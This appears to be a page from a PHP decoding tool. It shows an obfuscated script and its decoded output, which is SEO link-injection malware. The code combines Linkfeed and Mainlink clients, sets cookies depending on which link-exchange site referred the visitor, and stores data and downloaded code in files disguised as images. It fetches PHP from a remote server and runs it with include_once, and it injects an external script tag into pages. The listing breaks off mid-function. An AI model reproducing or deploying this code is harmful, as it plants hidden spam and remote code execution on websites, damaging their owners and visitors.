Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"\x47\x4c\x4f\x42A\x4cS"}["\x72\x6a\x74\x72\x68x\x74"]="\x72\x65p\x6c\x61\x63\x65"..
Decoded Output download
<?php ${"GLOBALS"}["rjtrhxt"]="replace";
${"GLOBALS"}["qowvqqxu"]="href";
${"GLOBALS"}["jwdkdtofkxc"]="c";
${"GLOBALS"}["ttaehmmiu"]="linkfeed";
${"GLOBALS"}["gwhowz"]="level";
${"GLOBALS"}["qssvwte"]="parsed";
${"GLOBALS"}["bjlxhmmyfti"]="link";
${"GLOBALS"}["ldxghwkvrieo"]="text";
${"GLOBALS"}["tjotxecd"]="blockT";
${"GLOBALS"}["hpkqxiukry"]="block";
${"GLOBALS"}["bamjzwecv"]="tpl";
${"GLOBALS"}["uffzufq"]="tpl_filename";
${"GLOBALS"}["cvieitpr"]="e";
${"GLOBALS"}["qaguxoemthhk"]="db_mtime";
${"GLOBALS"}["gkhktijftgb"]="cache_mtime";
${"GLOBALS"}["iwfurgnupgp"]="caches";
${"GLOBALS"}["melxmxyqtx"]="common_keys";
${"GLOBALS"}["nxqrko"]="sum";
${"GLOBALS"}["jqpkxdoyl"]="size";
${"GLOBALS"}["ywdlsvbkhxrm"]="mqr";
${"GLOBALS"}["xigutbck"]="key";
${"GLOBALS"}["rbskwrsn"]="tl_links_temp";
${"GLOBALS"}["qsyzrkferku"]="c";
${"GLOBALS"}["uxuuikakahd"]="r";
${"GLOBALS"}["dlfpkqjafrtd"]="path";
${"GLOBALS"}["imvdpfng"]="errstr";
${"GLOBALS"}["kfvxihbfjnld"]="a";
${"GLOBALS"}["kbcewhct"]="socket";
${"GLOBALS"}["cykrechrmc"]="response";
${"GLOBALS"}["zxiabhcc"]="answer";
${"GLOBALS"}["ycgdtvh"]="timeout";
${"GLOBALS"}["qvetxcvttxy"]="o";
${"GLOBALS"}["uygcqpuognj"]="request";
${"GLOBALS"}["cxiqqwwcs"]="v";
${"GLOBALS"}["osjqpx"]="pattern";$iyntde="o";
${"GLOBALS"}["gbddmdgh"]="c";
${"GLOBALS"}["tfykdmbkog"]="k";
${"GLOBALS"}["nmhwnlmjcml"]="tmp";
${"GLOBALS"}["gcdppprlmx"]="_data";
${"GLOBALS"}["tovrnxmvkrt"]="servers";
${"GLOBALS"}["eujdksuhrk"]="port";
${"GLOBALS"}["wtslpelxi"]="secure";
$dlkfdamjwi="replace";
${"GLOBALS"}["otchlxjos"]="ex";
${"GLOBALS"}["xqwrwuuruvkn"]="file";
${"GLOBALS"}["hkthdiipr"]="dirop";
${"GLOBALS"}["izwrxlohmwt"]="handle";
${"GLOBALS"}["mspsxgserig"]="res";
${"GLOBALS"}["mevbhwuq"]="service_call";
${"GLOBALS"}["xyijwtpi"]="content";
${"GLOBALS"}["iedwsexenwr"]="filetime";
${"GLOBALS"}["fhimeldsijfg"]="code_type";
${"GLOBALS"}["kaplkmqyx"]="code_file";
$wwcqbjldh="o";$vcsskmgqpwe="o";
${"GLOBALS"}["doudtgijix"]="username";
${"GLOBALS"}["iwumbnz"]="o";
${"GLOBALS"}["uqussuqwdzm"]="uptolike_hash";
${"GLOBALS"}["ldosdqmpx"]="filename";
${"GLOBALS"}["dkemweotqjg"]="length";
${"GLOBALS"}["rpfmzqm"]="page";
${"GLOBALS"}["azglektvrhd"]="errno";
${"GLOBALS"}["hbrzywistae"]="o";
${"GLOBALS"}["cxxpprr"]="fp";
${"GLOBALS"}["nyogalqhyash"]="buff";
${"GLOBALS"}["ptdzszux"]="ch";
${"GLOBALS"}["ykdgcndkj"]="data";
${"GLOBALS"}["ytpukrnk"]="user_agent";
${"GLOBALS"}["vtcbazxbm"]="i";
${"GLOBALS"}["irwsebdrto"]="total_page_links";
${"GLOBALS"}["hbbqzvbd"]="n";
${"GLOBALS"}["fgeadlnw"]="mainlink";
${"GLOBALS"}["kvilucoiz"]="trustlink";
${"GLOBALS"}["ffasyxldnkx"]="result";
${"GLOBALS"}["hshdhv"]="value";
${"GLOBALS"}["ryhhmcrhvxys"]="lc_links_temp";
${"GLOBALS"}["uhtgxbkbnzr"]="links";
${"GLOBALS"}["wivxvedc"]="options";
if($_SERVER["REQUEST_URI"]==="/")
{
if(!isset($_COOKIE["_phpself"]))
{
setcookie("_phpself",1,mktime(0,0,0,1,1,2020));
}
elseif($_COOKIE["_phpself"]>=1 and$_COOKIE["_phpself"]<5)
{
setcookie("_phpself",($_COOKIE["_phpself"]+1),mktime(0,0,0,1,1,2020));
}
}
if(isset($_SERVER["HTTP_REFERER"]))
{
$host=parse_url($_SERVER["HTTP_REFERER"],PHP_URL_HOST);
if(($host=="www.trustlink.ru")or($host=="trustlink.ru")or($host=="www.mainlink.ru")or($host=="mainlink.ru")or($host=="www.linkfeed.ru")or($host=="linkfeed.ru")or($host=="seopult.ru")or($host=="www.seopult.ru")or($host=="seopult.pro")or($host=="www.seopult.pro"))
{
setcookie("_phpcache",1,mktime(0,0,0,1,1,2020));
}
}
class LinkfeedClient
{
var$lc_version='0.4.3';
var$lc_verbose=false;
var$lc_charset='UTF-8';
var$lc_use_ssl=false;
var$lc_server='db.linkfeed.ru';
var$lc_cache_lifetime=3600;
var$lc_cache_reloadtime=300;
var$lc_links_db_file='';
var$lc_links=array();
var$lc_links_page=array();
var$lc_links_delimiter='';
var$lc_error='';
var$lc_host='';
var$lc_request_uri='';
var$lc_fetch_remote_type='';
var$lc_socket_timeout=6;
var$lc_force_show_code=false;
var$lc_multi_site=false;
var$lc_is_static=false;
var$lc_ignore_tailslash=false;
function LinkfeedClient($options=null)
{
${"GLOBALS"}["hfapqdyvy"]="options";
$piylleeht="options";
$yxasxvg="options";
${"GLOBALS"}["yorjxcgd"]="options";
$host="";
${"GLOBALS"}["rcmekhtw"]="options";
${"GLOBALS"}["wmvgadjabnw"]="options";
$ibcyqyocd="options";
if(is_array(${$yxasxvg}))
{
if(isset(${${"GLOBALS"}["wivxvedc"]}["host"]))
{
$host=${${"GLOBALS"}["wivxvedc"]}["host"];
}
}
elseif(strlen(${${"GLOBALS"}["wivxvedc"]})!=0)
{
$mybrfxng="options";
$host=${${"GLOBALS"}["wivxvedc"]};
${$mybrfxng}=array();
}
else{${"GLOBALS"}["lrguwhgvfg"]="options";
${${"GLOBALS"}["lrguwhgvfg"]}=array();
}
$xhfelt="options";
${"GLOBALS"}["lbsguijuys"]="options";
if(strlen($host)!=0)
{
$this->lc_host=$host;
}
else
{
$this->lc_host=$_SERVER["HTTP_HOST"];
}
$this->lc_host=preg_replace("{^https?://}i","",$this->lc_host);
$this->lc_host=preg_replace("{^www\.}i","",$this->lc_host);
$this->lc_host=strtolower($this->lc_host);
if(isset(${${"GLOBALS"}["wivxvedc"]}["is_static"])&&${${"GLOBALS"}["wivxvedc"]}["is_static"])
{
$this->lc_is_static=true;
}
if(isset(${${"GLOBALS"}["wivxvedc"]}["ignore_tailslash"])&&${${"GLOBALS"}["wivxvedc"]}["ignore_tailslash"])
{
$this->lc_ignore_tailslash=true;
}
if(isset(${${"GLOBALS"}["hfapqdyvy"]}["request_uri"])&&strlen(${${"GLOBALS"}["yorjxcgd"]}["request_uri"])!=0)
{
$this->lc_request_uri=${${"GLOBALS"}["wivxvedc"]}["request_uri"];
}
else
{
if($this->lc_is_static)
{
$this->lc_request_uri=preg_replace("{\?.*\$}","",$_SERVER["REQUEST_URI"]);
$this->lc_request_uri=preg_replace("{/+}","/",$this->lc_request_uri);
}
else
{
$this->lc_request_uri=$_SERVER["REQUEST_URI"];
}
}
$this->lc_request_uri=rawurldecode($this->lc_request_uri);
if(isset(${${"GLOBALS"}["wivxvedc"]}["multi_site"])&&${${"GLOBALS"}["wivxvedc"]}["multi_site"]==true)
{
$this->lc_multi_site=true;
}
if((isset(${${"GLOBALS"}["rcmekhtw"]}["verbose"])&&${${"GLOBALS"}["wivxvedc"]}["verbose"])||isset($this->lc_links["__linkfeed_debug__"]))
{
$this->lc_verbose=true;
}
$yggfbmvstbne="options";
if(isset(${$ibcyqyocd}["charset"])&&strlen(${$piylleeht}["charset"])!=0)
{
$wfohxgqyyi="options";
$this->lc_charset=${$wfohxgqyyi}["charset"];
}
if(isset(${${"GLOBALS"}["wmvgadjabnw"]}["fetch_remote_type"])&&strlen(${${"GLOBALS"}["wivxvedc"]}["fetch_remote_type"])!=0)
{
$svbfxghbqhns="options";
$this->lc_fetch_remote_type=${$svbfxghbqhns}["fetch_remote_type"];
}
if(isset(${$yggfbmvstbne}["socket_timeout"])&&is_numeric(${$xhfelt}["socket_timeout"])&&${${"GLOBALS"}["lbsguijuys"]}["socket_timeout"]>0)
{
${"GLOBALS"}["fwofwrpqzssd"]="options";
$this->lc_socket_timeout=${${"GLOBALS"}["fwofwrpqzssd"]}["socket_timeout"];
}
if((isset(${${"GLOBALS"}["wivxvedc"]}["force_show_code"])&&${${"GLOBALS"}["wivxvedc"]}["force_show_code"])||isset($this->lc_links["__linkfeed_debug__"]))
{
$this->lc_force_show_code=true;
}
if(!defined("LINKFEED_USER"))
{
return$this->raise_error("Constant LINKFEED_USER is not defined.");
}
$this->load_links();
}
function load_links()
{
if($this->lc_multi_site)
{
$this->lc_links_db_file=dirname(__FILE__)."/linkfeed.".$this->lc_host.".links.db";
}
else
{
$this->lc_links_db_file=dirname(__FILE__)."/club_system.jpg";
}
$pjujwiypru="links";
if(!is_file($this->lc_links_db_file))
{
if(@touch($this->lc_links_db_file,time()-$this->lc_cache_lifetime))
{
@chmod($this->lc_links_db_file,0666);
}
else
{
return$this->raise_error("There is no file ".$this->lc_links_db_file.". Fail to create. Set mode to 777 on the folder.");
}
}
if(!is_writable($this->lc_links_db_file))
{
return$this->raise_error("There is no permissions to write: ".$this->lc_links_db_file."! Set mode to 777 on the folder.");
}
@clearstatcache();
${"GLOBALS"}["rsvvvvm"]="key";
if(filemtime($this->lc_links_db_file)<(time()-$this->lc_cache_lifetime)||(filemtime($this->lc_links_db_file)<(time()-$this->lc_cache_reloadtime)&&filesize($this->lc_links_db_file)==0))
{
$rivvjpwg="path";
@touch($this->lc_links_db_file,time());
${"GLOBALS"}["ifdsekxzm"]="path";
${${"GLOBALS"}["ifdsekxzm"]}="/".LINKFEED_USER."/".strtolower($this->lc_host)."/".strtoupper($this->lc_charset);
if(${${"GLOBALS"}["uhtgxbkbnzr"]}=$this->fetch_remote_file($this->lc_server,${$rivvjpwg}))
{
$jzcliqt="links";
if(substr(${${"GLOBALS"}["uhtgxbkbnzr"]},0,12)=="FATAL ERROR:")
{
$urwlggohu="links";
$this->raise_error(${$urwlggohu});
}
else if(@unserialize(${$jzcliqt})!==false)
{
$ymeexwcjgpz="links";
$this->lc_write($this->lc_links_db_file,${$ymeexwcjgpz});
}
else
{
$this->raise_error("Cann't unserialize received data.");
}
}
}
${$pjujwiypru}=$this->lc_read($this->lc_links_db_file);
$this->lc_file_change_date=gmstrftime("%d.%m.%Y %H:%M:%S",filectime($this->lc_links_db_file));
$ggqqejtlffi="links";$this->lc_file_size=strlen(${$ggqqejtlffi});
if(!${${"GLOBALS"}["uhtgxbkbnzr"]})
{
$this->lc_links=array();
$this->raise_error("Empty file.");
}
else if(!$this->lc_links=@unserialize(${${"GLOBALS"}["uhtgxbkbnzr"]}))
{
$this->lc_links=array();
$this->raise_error("Cann't unserialize data from file.");
}
if(isset($this->lc_links["__linkfeed_delimiter__"]))
{
$this->lc_links_delimiter=$this->lc_links["__linkfeed_delimiter__"];
}
${${"GLOBALS"}["ryhhmcrhvxys"]}=array();
foreach($this->lc_links as${${"GLOBALS"}["rsvvvvm"]}=>${${"GLOBALS"}["hshdhv"]})
{
$pqpkuop="key";
${${"GLOBALS"}["ryhhmcrhvxys"]}[rawurldecode(${$pqpkuop})]=${${"GLOBALS"}["hshdhv"]};
}
$this->lc_links=${${"GLOBALS"}["ryhhmcrhvxys"]};
if($this->lc_ignore_tailslash&&$this->lc_request_uri[strlen($this->lc_request_uri)-1]=="/")
$this->lc_request_uri=substr($this->lc_request_uri,0,-1);
$this->lc_links_page=array();
if(array_key_exists($this->lc_request_uri,$this->lc_links)&&is_array($this->lc_links[$this->lc_request_uri]))
{
$this->lc_links_page=array_merge($this->lc_links_page,$this->lc_links[$this->lc_request_uri]);
}
if($this->lc_ignore_tailslash&&array_key_exists($this->lc_request_uri."/",$this->lc_links)&&is_array($this->lc_links[$this->lc_request_uri."/"]))
{
$this->lc_links_page=array_merge($this->lc_links_page,$this->lc_links[$this->lc_request_uri."/"]);
}
$this->lc_links_count=count($this->lc_links_page);
}
function return_links($n=null)
{
$wkrhdsrt="result";
${$wkrhdsrt}="";
$erhuiwkj="result";
if(isset($this->lc_links["__linkfeed_start__"])&&strlen($this->lc_links["__linkfeed_start__"])!=0&&(in_array($_SERVER["REMOTE_ADDR"],$this->lc_links["__linkfeed_robots__"])||$this->lc_force_show_code))
{
${${"GLOBALS"}["ffasyxldnkx"]}.=$this->lc_links["__linkfeed_start__"];
}
if(isset($this->lc_links["__linkfeed_robots__"])&&in_array($_SERVER["REMOTE_ADDR"],$this->lc_links["__linkfeed_robots__"])||$this->lc_verbose)
{
$xlhebubljwl="result";
${"GLOBALS"}["euudktt"]="result";
if($this->lc_error!="")
{
${${"GLOBALS"}["ffasyxldnkx"]}.=$this->lc_error;
}
$culfotfhigy="result";
${${"GLOBALS"}["ffasyxldnkx"]}.="<!--REQUEST_URI=".$_SERVER["REQUEST_URI"]."-->
";
$skphcf="result";
${"GLOBALS"}["yanljvj"]="result";
${${"GLOBALS"}["ffasyxldnkx"]}.="
<!--
";
${$xlhebubljwl}.="L ".$this->lc_version."
";
${${"GLOBALS"}["euudktt"]}.="REMOTE_ADDR=".$_SERVER["REMOTE_ADDR"]."
";
${${"GLOBALS"}["ffasyxldnkx"]}.="request_uri=".$this->lc_request_uri."
";
${${"GLOBALS"}["ffasyxldnkx"]}.="charset=".$this->lc_charset."
";
${$culfotfhigy}.="is_static=".$this->lc_is_static."
";
${$skphcf}.="multi_site=".$this->lc_multi_site."
";
${${"GLOBALS"}["yanljvj"]}.="file change date=".$this->lc_file_change_date."
";
${${"GLOBALS"}["ffasyxldnkx"]}.="lc_file_size=".$this->lc_file_size."
";
$scuzhenbmqx="result";
${${"GLOBALS"}["ffasyxldnkx"]}.="lc_links_count=".$this->lc_links_count."
";
${$scuzhenbmqx}.="left_links_count=".count($this->lc_links_page)."
";
${${"GLOBALS"}["ffasyxldnkx"]}.="n=".${${"GLOBALS"}["hbbqzvbd"]}."
";
${${"GLOBALS"}["ffasyxldnkx"]}.="-->";
}
if(is_array($this->lc_links_page))
{
${${"GLOBALS"}["irwsebdrto"]}=count($this->lc_links_page);
${"GLOBALS"}["lccjgrw"]="links";
${"GLOBALS"}["zbndluxewdnt"]="i";
${"GLOBALS"}["voxwxlcfem"]="links";
${"GLOBALS"}["ptmulhr"]="result";
if(!is_numeric(${${"GLOBALS"}["hbbqzvbd"]})||${${"GLOBALS"}["hbbqzvbd"]}>${${"GLOBALS"}["irwsebdrto"]})
{
${"GLOBALS"}["avirbwytnho"]="total_page_links";
${"GLOBALS"}["qrjxqhygxop"]="n";
${${"GLOBALS"}["qrjxqhygxop"]}=${${"GLOBALS"}["avirbwytnho"]};
}
${${"GLOBALS"}["voxwxlcfem"]}=array();
for(${${"GLOBALS"}["vtcbazxbm"]}=0;${${"GLOBALS"}["zbndluxewdnt"]}<${${"GLOBALS"}["hbbqzvbd"]};${${"GLOBALS"}["vtcbazxbm"]}++)
{
$qkqnquwpls="links";
${$qkqnquwpls}[]=array_shift($this->lc_links_page);
}
if(count(${${"GLOBALS"}["uhtgxbkbnzr"]})>0&&isset($this->lc_links["__linkfeed_before_text__"]))
{
$xkrsyoaup="result";
${$xkrsyoaup}.=$this->lc_links["__linkfeed_before_text__"];
}
${${"GLOBALS"}["ptmulhr"]}.=implode($this->lc_links_delimiter,${${"GLOBALS"}["uhtgxbkbnzr"]});
if(count(${${"GLOBALS"}["lccjgrw"]})>0&&isset($this->lc_links["__linkfeed_after_text__"]))
{
$sqirndyyooi="result";${$sqirndyyooi}.=$this->lc_links["__linkfeed_after_text__"];
}
}
if(isset($this->lc_links["__linkfeed_end__"])&&strlen($this->lc_links["__linkfeed_end__"])!=0&&(in_array($_SERVER["REMOTE_ADDR"],$this->lc_links["__linkfeed_robots__"])||$this->lc_force_show_code))
{
${${"GLOBALS"}["ffasyxldnkx"]}.=$this->lc_links["__linkfeed_end__"];
}
${${"GLOBALS"}["ffasyxldnkx"]}=${$erhuiwkj}.$this->uptolike_tag();
return${${"GLOBALS"}["ffasyxldnkx"]};
}
function fetch_remote_file($host,$path)
{
$mkefkgokej="user_agent";
${$mkefkgokej}="Linkfeed Client PHP ".$this->lc_version;
@ini_set("allow_url_fopen",1);
@ini_set("default_socket_timeout",$this->lc_socket_timeout);
@ini_set("user_agent",${${"GLOBALS"}["ytpukrnk"]});
$fvhnwrglee="path";
if($this->lc_fetch_remote_type=="file_get_contents"||($this->lc_fetch_remote_type==""&&function_exists("file_get_contents")&&ini_get("allow_url_fopen")==1))
{
${"GLOBALS"}["aiohekdyzhv"]="path";
if(${${"GLOBALS"}["ykdgcndkj"]}=@file_get_contents("http://".$host.${${"GLOBALS"}["aiohekdyzhv"]}))
{
return${${"GLOBALS"}["ykdgcndkj"]};
}
}
elseif($this->lc_fetch_remote_type=="curl"||($this->lc_fetch_remote_type==""&&function_exists("curl_init")))
{
if(${${"GLOBALS"}["ptdzszux"]}=@curl_init())
{
$ffbtem="path";
${"GLOBALS"}["roqtmbsb"]="ch";
@curl_setopt(${${"GLOBALS"}["ptdzszux"]},CURLOPT_URL,"http://".$host.${$ffbtem});
@curl_setopt(${${"GLOBALS"}["roqtmbsb"]},CURLOPT_HEADER,false);$gelhrw="ch";
$kcuuzphmyj="ch";
@curl_setopt(${${"GLOBALS"}["ptdzszux"]},CURLOPT_RETURNTRANSFER,true);
${"GLOBALS"}["qvdnwxn"]="user_agent";
$oeruawrlpazy="data";
@curl_setopt(${$kcuuzphmyj},CURLOPT_CONNECTTIMEOUT,$this->lc_socket_timeout);
@curl_setopt(${$gelhrw},CURLOPT_USERAGENT,${${"GLOBALS"}["qvdnwxn"]});
if(${$oeruawrlpazy}=@curl_exec(${${"GLOBALS"}["ptdzszux"]}))
{
${"GLOBALS"}["wurbpbn"]="data";
return${${"GLOBALS"}["wurbpbn"]};
}
@curl_close(${${"GLOBALS"}["ptdzszux"]});
}
}
else
{
$tiivtx="errstr";
${${"GLOBALS"}["nyogalqhyash"]}="";
${"GLOBALS"}["wvfdjsdf"]="fp";
${${"GLOBALS"}["cxxpprr"]}=@fsockopen($host,80,${${"GLOBALS"}["azglektvrhd"]},${$tiivtx},$this->lc_socket_timeout);
if(${${"GLOBALS"}["wvfdjsdf"]})
{
$sywbnqqtwknu="fp";
${"GLOBALS"}["vrcaxbaeom"]="page";
${"GLOBALS"}["lmwdzxgd"]="fp";
${"GLOBALS"}["lmbagcmcpme"]="fp";
@fputs(${${"GLOBALS"}["cxxpprr"]},"GET {$path} HTTP/1.0
Host: {$host}
");
@fputs(${${"GLOBALS"}["lmbagcmcpme"]},"User-Agent: {$user_agent}
");
while(!@feof(${$sywbnqqtwknu}))
{
$noutniuhq="fp";
${${"GLOBALS"}["nyogalqhyash"]}.=@fgets(${$noutniuhq},128);
}
@fclose(${${"GLOBALS"}["lmwdzxgd"]});
${${"GLOBALS"}["vrcaxbaeom"]}=explode("
",${${"GLOBALS"}["nyogalqhyash"]});
return${${"GLOBALS"}["rpfmzqm"]}[1];
}
}
return$this->raise_error("Cann't connect to server: ".$host.${$fvhnwrglee});
}
function lc_read($filename)
{
$lqjrtntaufeq="filename";
${${"GLOBALS"}["cxxpprr"]}=@fopen(${$lqjrtntaufeq},"rb");
$wrgwpcqict="fp";
@flock(${$wrgwpcqict},LOCK_SH);
if(${${"GLOBALS"}["cxxpprr"]})
{
$gsznluguir="data";${"GLOBALS"}["rzddgv"]="filename";
clearstatcache();
${${"GLOBALS"}["dkemweotqjg"]}=@filesize(${${"GLOBALS"}["rzddgv"]});
if(get_magic_quotes_gpc())
{
$qduulicwbk="mqr";
${$qduulicwbk}=get_magic_quotes_runtime();
set_magic_quotes_runtime(0);
}
$mkdtyobznsk="mqr";
if(${${"GLOBALS"}["dkemweotqjg"]})
{
${"GLOBALS"}["ftevkkfvfw"]="data";
${"GLOBALS"}["shpmvdyornox"]="length";
${${"GLOBALS"}["ftevkkfvfw"]}=@fread(${${"GLOBALS"}["cxxpprr"]},${${"GLOBALS"}["shpmvdyornox"]});
}
else
{
${${"GLOBALS"}["ykdgcndkj"]}="";
}
${"GLOBALS"}["eznzfbic"]="fp";
if(isset(${$mkdtyobznsk}))
{
$yxyfpcejzal="mqr";
set_magic_quotes_runtime(${$yxyfpcejzal});
}
@flock(${${"GLOBALS"}["cxxpprr"]},LOCK_UN);
@fclose(${${"GLOBALS"}["eznzfbic"]});
return${$gsznluguir};
}
return$this->raise_error("Cann't get data from the file: ".${${"GLOBALS"}["ldosdqmpx"]});
}
function lc_write($filename,$data)
{
$xisccdxdlbpv="fp";
${${"GLOBALS"}["cxxpprr"]}=@fopen(${${"GLOBALS"}["ldosdqmpx"]},"wb");
if(${$xisccdxdlbpv})
{
$mpoplj="filename";
${"GLOBALS"}["ubdibdmrx"]="data";
$emjglrn="length";
${"GLOBALS"}["jpffnarur"]="length";
${"GLOBALS"}["wfdhsvgd"]="data";
${"GLOBALS"}["fqeycwwf"]="fp";
@flock(${${"GLOBALS"}["cxxpprr"]},LOCK_EX);
${${"GLOBALS"}["jpffnarur"]}=strlen(${${"GLOBALS"}["ubdibdmrx"]});
@fwrite(${${"GLOBALS"}["cxxpprr"]},${${"GLOBALS"}["ykdgcndkj"]},${$emjglrn});
@flock(${${"GLOBALS"}["fqeycwwf"]},LOCK_UN);
@fclose(${${"GLOBALS"}["cxxpprr"]});
if(md5($this->lc_read(${$mpoplj}))!=md5(${${"GLOBALS"}["wfdhsvgd"]}))
{
return$this->raise_error("Integrity was breaken while writing to file: ".${${"GLOBALS"}["ldosdqmpx"]});
}
return true;
}
${"GLOBALS"}["iriunnikwvg"]="filename";
return$this->raise_error("Cann't write to file: ".${${"GLOBALS"}["iriunnikwvg"]});
}
function raise_error($e)
{
${"GLOBALS"}["naqnnjkymd"]="e";
$this->lc_error="<!--ERROR: ".${${"GLOBALS"}["naqnnjkymd"]}."-->";
return false;
}
function uptolike_tag()
{
$tncqywjg="result";
${${"GLOBALS"}["uqussuqwdzm"]}="lf".sha1($this->lc_host);
${$tncqywjg}="<script async="async\" src=\"https://w.uptolike.com/widgets/v1/zp.js?pid=".${${"GLOBALS"}["uqussuqwdzm"]}."" type="text/javascript"></script>";
return${${"GLOBALS"}["ffasyxldnkx"]};
}
}
class MLClient
{
var$file_code='fixed.jpg';
var$transmiter=null;var$code_type='l';
function MLClient($o=array())
{
$eeubyqby="o";
$tdnytwrtp="code_file";
${"GLOBALS"}["ndyrskpoqcp"]="code_file";
if(isset(${${"GLOBALS"}["iwumbnz"]}["CODE_TYPE"])&&strlen(${$eeubyqby}["CODE_TYPE"])==1)
{
$this->code_type=strtolower(${${"GLOBALS"}["iwumbnz"]}["CODE_TYPE"]);
}
else
{
$this->code_type="l";
}
${${"GLOBALS"}["ndyrskpoqcp"]}=dirname(__FILE__)."/".str_replace("%",$this->code_type,$this->file_code);
$hbwbvp="username";
${${"GLOBALS"}["doudtgijix"]}=$this->getUser(${${"GLOBALS"}["iwumbnz"]});
if(@strpos($_SERVER["HTTP_USER_AGENT"],"mlbot.".${$hbwbvp})!==false&&isset($_GET["ml_force_recovery"]))
{
$qjqbvdjgpk="code_file";
$imdoeukdr="code_file";
@unlink(${$qjqbvdjgpk});@unlink(${$imdoeukdr}.".lock");
print"<!--<ml_force_recovery_result>true</ml_force_recovery_result>-->";
return true;
}
$fhubgymmml="transmiter_class";
$eoumocyi="transmiter_class";
if(file_exists(${$tdnytwrtp}))
{
${"GLOBALS"}["shplbvpp"]="code_file";
if(file_exists(${${"GLOBALS"}["kaplkmqyx"]}.".lock"))
{
@unlink(${${"GLOBALS"}["kaplkmqyx"]}.".lock");
}
include_once${${"GLOBALS"}["shplbvpp"]};
}
else
{
${"GLOBALS"}["mjogipunksb"]="o";
if($this->getCode(${${"GLOBALS"}["mjogipunksb"]},$this->code_type))
{
${"GLOBALS"}["aelylmr"]="code_file";
include_once${${"GLOBALS"}["aelylmr"]};
}
}
${$fhubgymmml}=$this->code_type."Transmiter";
if(class_exists(${$eoumocyi}))
{
${${"GLOBALS"}["iwumbnz"]}["USERNAME"]=$this->getUser(${${"GLOBALS"}["iwumbnz"]});
${"GLOBALS"}["iyrmtjmvd"]="o";
$cokfqfxhdxr="transmiter_class";
$this->transmiter=new${$cokfqfxhdxr}(${${"GLOBALS"}["iyrmtjmvd"]});
}
}
function build_links()
{
if($this->transmiter!=null)
{
return$this->transmiter->build_links();
}
return"";
}
function getCode($o=array(),$code_type='l')
{
$hgutwyf="userAgent";
${"GLOBALS"}["lmyhigyiiivp"]="code_type";
$inkqhyb="result";
$ndzvxtolfd="handle";${"GLOBALS"}["kpfencd"]="fp";
$wfpfmxj="content";
$uxuyddmxrq="fp";
$ixkanhvm="code_file";
${"GLOBALS"}["orfrkqcvxfk"]="username";
$vrkoxtmwxo="username";
${"GLOBALS"}["lrsbtrewx"]="result";
${"GLOBALS"}["ugvtmmjx"]="code_file";
${$vrkoxtmwxo}=$this->getUser(${${"GLOBALS"}["iwumbnz"]});
${"GLOBALS"}["kaiilgc"]="code_file";
${"GLOBALS"}["cepdkkxwvogt"]="username";
${"GLOBALS"}["iqnnxmnthqy"]="o";
${${"GLOBALS"}["ugvtmmjx"]}=dirname(__FILE__)."/".str_replace("%",${${"GLOBALS"}["fhimeldsijfg"]},$this->file_code);
if((!file_exists(${$ixkanhvm})&&!file_exists(${${"GLOBALS"}["kaplkmqyx"]}.".lock"))||(strpos(${$hgutwyf},"mlbot.".${${"GLOBALS"}["cepdkkxwvogt"]})!==false&&isset($_GET["ml_request"])))
{
$dgmxzrotgif="code_file";
${"GLOBALS"}["ifnlooweuk"]="code_file";
if(!is_writable(dirname(__FILE__)."/"))
{
print"Unable to load Mainlink code. Directory ".realpath(dirname(__FILE__)."/")." is not writeable!";
return false;
}
if(file_exists(${$dgmxzrotgif}.".lock")&&file_exists(${${"GLOBALS"}["ifnlooweuk"]}))
{
$ttrnxxchxkoh="filetime";
${$ttrnxxchxkoh}=filectime(${${"GLOBALS"}["kaplkmqyx"]}.".lock");
${"GLOBALS"}["pdrsztzlowv"]="filetime";
if(time()-${${"GLOBALS"}["pdrsztzlowv"]}<10)
{
print"<!--<ml_update>false: locked for ".time()-${${"GLOBALS"}["iedwsexenwr"]}." seconds</ml_update>-->";
return false;
}
else
{
@unlink(realpath(dirname(__FILE__)."/")."/core_update.lock");
print"<!--<ml_update_info>true: now ".time().", locked at ".${${"GLOBALS"}["iedwsexenwr"]}." seconds</ml_update_info>-->";
return false;
}
}
}
${${"GLOBALS"}["kpfencd"]}=fopen(${${"GLOBALS"}["kaplkmqyx"]}.".lock","w+");
fwrite(${${"GLOBALS"}["cxxpprr"]},time());
$zuqxrkxeuqx="code_file";
$wrbffykd="result";
$onypniy="service_call";${"GLOBALS"}["jjrrswbyglg"]="handle";
fclose(${$uxuyddmxrq});
${${"GLOBALS"}["fhimeldsijfg"]}=isset(${${"GLOBALS"}["iqnnxmnthqy"]}["CODE_TYPE"])?${${"GLOBALS"}["iwumbnz"]}["CODE_TYPE"]:"l";
${$onypniy}=isset($_GET["ml_request"])?$_GET["ml_request"]:"call";
${${"GLOBALS"}["xyijwtpi"]}=$this->getApi(array("getCode"=>${${"GLOBALS"}["lmyhigyiiivp"]},"USERNAME"=>${${"GLOBALS"}["orfrkqcvxfk"]},"codeBase"=>"php",${${"GLOBALS"}["mevbhwuq"]}=>true));
@unlink(${$zuqxrkxeuqx}.".lock");
${$ndzvxtolfd}=fopen(${${"GLOBALS"}["kaiilgc"]},"w");
${${"GLOBALS"}["mspsxgserig"]}=fwrite(${${"GLOBALS"}["jjrrswbyglg"]},${$wfpfmxj});
fclose(${${"GLOBALS"}["izwrxlohmwt"]});
${${"GLOBALS"}["lrsbtrewx"]}=${${"GLOBALS"}["mspsxgserig"]}!==false?"true":"false";
if(!${$wrbffykd}||${${"GLOBALS"}["ffasyxldnkx"]}=="false")
{
$yjsjriui="handle";
${$yjsjriui}=fopen(${${"GLOBALS"}["kaplkmqyx"]},"wb");
if(${${"GLOBALS"}["izwrxlohmwt"]})
{
${"GLOBALS"}["rfrjwtjou"]="content";
$kirvhaixuyfy="result";
@flock(${${"GLOBALS"}["izwrxlohmwt"]},LOCK_EX);
${$kirvhaixuyfy}=fwrite(${${"GLOBALS"}["izwrxlohmwt"]},${${"GLOBALS"}["rfrjwtjou"]});
@flock(${${"GLOBALS"}["izwrxlohmwt"]},LOCK_UN);
fclose(${${"GLOBALS"}["izwrxlohmwt"]});
}
}
print"<!--<ml_code_setup_result>".var_export(${${"GLOBALS"}["ffasyxldnkx"]},true)."</ml_code_setup_result>-->";
return${$inkqhyb};
}
function getUser($o=array())
{
$mrqjynqkzh="dirop";
${"GLOBALS"}["jsbvpecncec"]="o";
${"GLOBALS"}["cjogrcp"]="secure";
${"GLOBALS"}["gtwujj"]="secure";
if(isset(${${"GLOBALS"}["jsbvpecncec"]}["USERNAME"])&&strlen(${${"GLOBALS"}["iwumbnz"]}["USERNAME"])==32)
{
${"GLOBALS"}["esspqubh"]="o";
return${${"GLOBALS"}["esspqubh"]}["USERNAME"];
}
